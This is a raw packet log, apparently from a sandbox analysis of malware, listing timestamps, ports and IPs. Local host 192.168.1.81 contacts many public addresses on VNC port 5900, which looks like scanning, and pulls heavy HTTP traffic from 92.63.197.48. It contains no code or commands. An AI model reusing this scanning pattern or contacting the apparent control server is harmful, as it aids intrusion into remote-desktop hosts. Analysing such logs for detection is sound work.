Oct 30, 2018 14:45:12.979211092 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.979238033 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.979249001 CET	5900	51570	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.979322910 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.984271049 CET	51573	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.985759974 CET	51574	5900	192.168.1.81	85.194.93.100
Oct 30, 2018 14:45:12.990181923 CET	51466	5900	192.168.1.81	60.214.186.156
Oct 30, 2018 14:45:13.008162022 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.016746998 CET	51575	5900	192.168.1.81	70.25.63.3
Oct 30, 2018 14:45:13.021488905 CET	51467	5900	192.168.1.81	191.233.171.228
Oct 30, 2018 14:45:13.028234005 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.029460907 CET	5900	51573	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:13.029536963 CET	51573	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:13.048264027 CET	51576	5900	192.168.1.81	87.162.181.164
Oct 30, 2018 14:45:13.052623034 CET	51468	5900	192.168.1.81	166.32.63.61
Oct 30, 2018 14:45:13.074862957 CET	5900	51573	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:13.077589989 CET	51577	5900	192.168.1.81	67.120.190.134
Oct 30, 2018 14:45:13.078897953 CET	51578	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:13.084218025 CET	51469	5900	192.168.1.81	53.59.140.164
Oct 30, 2018 14:45:13.099826097 CET	51470	5900	192.168.1.81	177.146.197.19
Oct 30, 2018 14:45:13.109467030 CET	51579	5900	192.168.1.81	71.245.128.226
Oct 30, 2018 14:45:13.131285906 CET	51471	5900	192.168.1.81	36.40.221.94
Oct 30, 2018 14:45:13.140995979 CET	51580	5900	192.168.1.81	150.176.163.20
Oct 30, 2018 14:45:13.159113884 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.160402060 CET	5900	51555	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:13.160876989 CET	51555	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:13.167740107 CET	51581	5900	192.168.1.81	62.177.29.195
Oct 30, 2018 14:45:13.177747011 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.178143024 CET	51472	5900	192.168.1.81	49.230.42.32
Oct 30, 2018 14:45:13.196162939 CET	51473	5900	192.168.1.81	60.118.238.115
Oct 30, 2018 14:45:13.198663950 CET	51582	5900	192.168.1.81	132.52.156.183
Oct 30, 2018 14:45:13.208589077 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.209763050 CET	5900	51544	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:13.210187912 CET	5900	51544	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:13.210675955 CET	51544	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:13.210732937 CET	5900	51544	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:13.210788012 CET	51544	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:13.214952946 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215013981 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215054989 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215082884 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215106964 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215106964 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215131044 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215154886 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215199947 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215213060 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215253115 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215286970 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215315104 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215326071 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215367079 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215384007 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215392113 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215436935 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215451002 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215476990 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215509892 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215536118 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215553999 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215589046 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215612888 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215635061 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215678930 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215703964 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215708971 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215744019 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215771914 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215795040 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215816021 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215818882 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215842962 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215866089 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215889931 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215903044 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215914011 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215939045 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215961933 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.215972900 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.215986967 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216011047 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216034889 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216042995 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.216058969 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216083050 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216115952 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216137886 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.216146946 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216172934 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216197014 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216204882 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.216219902 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216243982 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216268063 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216276884 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.216291904 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216315985 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216339111 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216347933 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.216362953 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216387987 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216411114 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216422081 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.216434956 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216459036 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216483116 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216502905 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.216506958 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216531038 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216555119 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216578007 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216600895 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.216602087 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216625929 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216650009 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216674089 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216685057 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.216697931 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216722012 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216744900 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216756105 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.216768980 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216793060 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.216836929 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.217894077 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.217968941 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.223970890 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.224417925 CET	51558	5900	192.168.1.81	154.147.58.161
Oct 30, 2018 14:45:13.224450111 CET	51474	5900	192.168.1.81	62.102.178.160
Oct 30, 2018 14:45:13.227905035 CET	51584	5900	192.168.1.81	87.209.175.6
Oct 30, 2018 14:45:13.240602016 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.240643978 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.240677118 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.240678072 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.240708113 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.240737915 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.240782022 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.240812063 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.240861893 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.241084099 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.241116047 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.241143942 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.241168976 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.241318941 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.241331100 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.241449118 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.255660057 CET	51475	5900	192.168.1.81	96.12.202.10
Oct 30, 2018 14:45:13.259460926 CET	51585	5900	192.168.1.81	32.88.209.91
Oct 30, 2018 14:45:13.264153957 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264211893 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264239073 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.264282942 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264343023 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264348984 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.264377117 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264427900 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264442921 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.264482021 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264530897 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264548063 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.264571905 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264611006 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264636040 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.264642000 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264682055 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264707088 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.264713049 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264744043 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264775038 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.264802933 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264833927 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264863968 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.264885902 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264898062 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264928102 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.264957905 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.264981031 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.265012980 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.265054941 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.265060902 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.265109062 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.265109062 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.265207052 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.265261889 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.265311956 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.265402079 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.265428066 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.271725893 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.271809101 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.271826029 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.271873951 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.271915913 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.271949053 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.271949053 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.271971941 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.271986008 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272017956 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272049904 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272058010 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272080898 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272093058 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272097111 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272144079 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272196054 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272209883 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272222042 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272231102 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272245884 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272258997 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272272110 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272309065 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272332907 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272342920 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272351027 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272365093 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272367954 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272448063 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272473097 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272496939 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272521019 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272526979 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272547007 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272559881 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272562027 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272572994 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272588015 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272618055 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272643089 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272669077 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272687912 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272701025 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272707939 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272722960 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272736073 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272738934 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272749901 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272763968 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272788048 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272824049 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272835970 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272841930 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272856951 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272861958 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272870064 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272885084 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272886038 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272910118 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272933960 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272958040 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272979021 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.272981882 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.272996902 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273005962 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273010969 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273027897 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273030996 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273042917 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273055077 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273078918 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273102999 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273121119 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273127079 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273140907 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273150921 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273154974 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273171902 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273175955 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273185968 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273200035 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273201942 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273224115 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273248911 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273272991 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273302078 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273313046 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273329020 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273334980 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273348093 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273359060 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273361921 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273379087 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273382902 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273394108 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273406982 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273410082 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273425102 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273432016 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273442030 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273456097 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273479939 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273504019 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273528099 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273551941 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273551941 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273571968 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273576021 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273586035 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273600101 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273602962 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273622036 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273623943 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273637056 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273648024 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273650885 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273669004 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273672104 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273683071 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273696899 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273698092 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273720980 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273745060 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273768902 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273792028 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273816109 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273828983 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273839951 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273848057 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273864031 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273869038 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273878098 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273894072 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273895025 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273909092 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273917913 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273922920 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273938894 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273942947 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.273952961 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273967981 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.273979902 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.274070978 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.274090052 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.274102926 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.274127007 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.274142981 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.274156094 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.274169922 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.277163982 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:13.277225971 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:13.277811050 CET	51583	80	192.168.1.81	92.63.197.48
